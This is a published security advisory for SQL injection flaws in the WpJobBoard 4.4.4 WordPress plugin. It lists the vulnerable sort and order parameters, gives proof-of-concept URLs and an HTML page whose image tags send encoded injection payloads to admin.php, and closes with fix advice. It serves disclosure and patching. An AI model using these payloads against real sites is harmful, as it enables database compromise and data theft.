Document Title: =============== WpJobBoard v4.4.4 - Multiple SQL Injection Vulnerabilities References (Source): ==================== https://www.vulnerability-lab.com/get_content.php?id=1940 Release Date: ============= 2018-01-06 Vulnerability Laboratory ID (VL-ID): ==================================== 1940 Common Vulnerability Scoring System: ==================================== 6 Vulnerability Class: ==================== SQL Injection Product & Service Introduction: =============================== WPJobBoard is bundled with 15+ shortcodes, allowing you to easily build completely unique job board and insert additional features only when you need it and only where you see fit. WPJobBoard doesn’t limit your website to just a job board. Along with WPJB, you can still maintain a blog and take advantage of all the other features WordPress and its plugins and themes offer. You can keep your community and your blog, but you can add a professional job board. (Copy of the Vendor Homepage: https://wpjobboard.net/features/ ) Abstract Advisory Information: ============================== The vulnerability laboratory core research team discovered multiple sql-injection vulnerabilities in the WpJobBoard v4.4.4 wordpress web-application plugin. Vulnerability Disclosure Timeline: ================================== 2018-01-06: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== WpJobBoard Product: WPJobBoard - Wordpress Plugin (Web-Application) 4.4.4 Exploitation Technique: ======================= Remote Severity Level: =============== High Technical Details & Description: ================================ Multiple remote sql-injection web vulnerabilities has been discovered in the WpJobBoard v4.4.4 wordpress web-application plugin. The vulnerability allows remote attackers to inject own malicious sql commands to compromise the database management system. The sql-injection web vulnerabilities are located in the `order` and `sort` parameters of the `wpjb-job` and `wpjb-alerts` module GET method requests. Remote attackers are able to execute sql commands by performing client-side GET method requests with malicious statements via admin.php file. The request method to inject/execute is GET and the attack vector of the issue is located on the application-side in the insecure request statement. The issue can be exploited by privileged wp user accounts without user interaction. The security risk of the sql web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 6.0. Exploitation of the remote sql injection vulnerabilities requires no user interaction and a privileged web-application user account. Successful exploitation of the remote sql injection results in database management system, web-server and web-application compromise. Request Method(s): [+] GET Vulnerable Module(s): [+] wpjb-job [+] wpjb-alerts Vulnerable File(s): [+] admin.php Vulnerable Parameter(s): [+] sort [+] order Proof of Concept (PoC): ======================= The sql-injection vulnerability can be exploited by remote attackers without user interaction and with privileged web-application user account. For security appnstration or to reproduce the security web vulnerability follow the provided information and steps below to continue. PoC: Exploitation https://wp-jobboard.localhost:8080/wp-admin/admin.php?page=wpjb-job&action=index&filter=xml&sort=[SQL-INJECTION VULNERABILITY!]&order=asc https://wp-jobboard.localhost:8080/wp-admin/admin.php?page=wpjb-job&action=index&filter=1&sort=job_expires_at&order=[SQL-INJECTION VULNERABILITY!] https://wp-jobboard.localhost:8080/wp-admin/admin.php?page=wpjb-job&action=index&filter=all&sort=job_title&order=[SQL-INJECTION VULNERABILITY!] https://wp-jobboard.localhost:8080/wp-admin/admin.php?page=wpjb-alerts&action=index&filter=all&sort=created_at&order=[SQL-INJECTION VULNERABILITY!] https://wp-jobboard.localhost:8080/wp-admin/admin.php?page=wpjb-alerts&action=index&filter=all&sort=[SQL-INJECTION VULNERABILITY!]&order=asc PoC: Exploit Code <html> <head><body> <title>WPJOBBOARD SQL INJECTION PoC</title> <img src=https://wp-jobboard.localhost:8080/wp-admin/admin.php?page=wpjb-job&action=index &filter=xml&sort=job_title+desc%2C+IF(1%3D2%2C1%2C(SELECT+1+UNION+SELECT+5))&order=asc> <img src=https://wp-jobboard.localhost:8080/wp-admin/admin.php?page=wpjb-job&action=index&filter=1&sort=job_expires_at&order=asc%2C+IF(1%3D2%2C1%2C(SELECT+1+UNION+SELECT+5))> <img src=https://wp-jobboard.localhost:8080/wp-admin/admin.php?page=wpjb-job&action=index&filter=all&sort=job_title&order=asc%2C+IF(1%3D2%2C1%2C(SELECT+1+UNION+SELECT+5))> <img src=https://wp-jobboard.localhost:8080/wp-admin/admin.php?page=wpjb-alerts&action=index&filter=all&sort=created_at&order=asc%2C+IF(1%3D2%2C1%2C(SELECT+1+UNION+SELECT+5))> <img src=https://wp-jobboard.localhost:8080/wp-admin/admin.php?page=wpjb-alerts&action=index&filter=all&sort=job_title+desc%2C+IF(1%3D2%2C1%2C(SELECT+1+UNION+SELECT+5))&order=asc> </body></head> </html> --- PoC Error Exception Logs --- Fatal error: Uncaught exception 'You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1 - Fatal error: Uncaught exception 'wp_wpjb_job' with message 'You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1 Reference(s): https://wp-jobboard.localhost:8080/ https://wp-jobboard.localhost:8080/wp-admin/ https://wp-jobboard.localhost:8080/wp-admin/admin.php https://wp-jobboard.localhost:8080/wp-admin/admin.php?page=wpjb-alerts&action=index&filter=all&sort= https://wp-jobboard.localhost:8080/wp-admin/admin.php?page=wpjb-job&action=index&filter=1&sort=job_expires_at&order= Solution - Fix & Patch: ======================= The vulnerability can be patched by a restriction of the vulnerable sort and order parameters in the web-applicatoon GET method request. Disallow the usage of special chars to prevent malicious inputs and use a prepared statement to resolve the sql-injection vulnerability. Disallow to display errors by default configuration and include an exception-handling to cover further malicious attacks. Note: The sql-injections has been prevented in the version 4.9.1 up to the latest released version 5.1 of the wpjobboard wordpress web-application plugin. Security Risk: ============== The security risk of the remote sql-injection web vulnerabilities in the wpjobboard web-application is estimated as high (CVSS 6.0). Credits & Authors: ================== Vulnerability-Lab [research@xxxxxxxxxxxxxxxxxxxxx] - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability Labs or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for incidental or consequential damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data. We have no need for criminal activities or membership requests. We do not publish advisories or vulnerabilities of religious-, militant- and racist- hacker/analyst/researcher groups or individuals. We do not publish trade researcher mails, phone numbers, conversations or anything else to journalists, investigative authorities or private individuals. Domains: www.vulnerability-lab.com - www.vulnerability-db.com - www.evolution-sec.com Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register.php Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Social: twitter.com/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Any modified copy or reproduction, including partially usages, of this file, resources or information requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@) to get an ask permission. Copyright © 2018 | Vulnerability Laboratory - [Evolution Security GmbH]™ -- VULNERABILITY LABORATORY - RESEARCH TEAM SERVICE: www.vulnerability-lab.com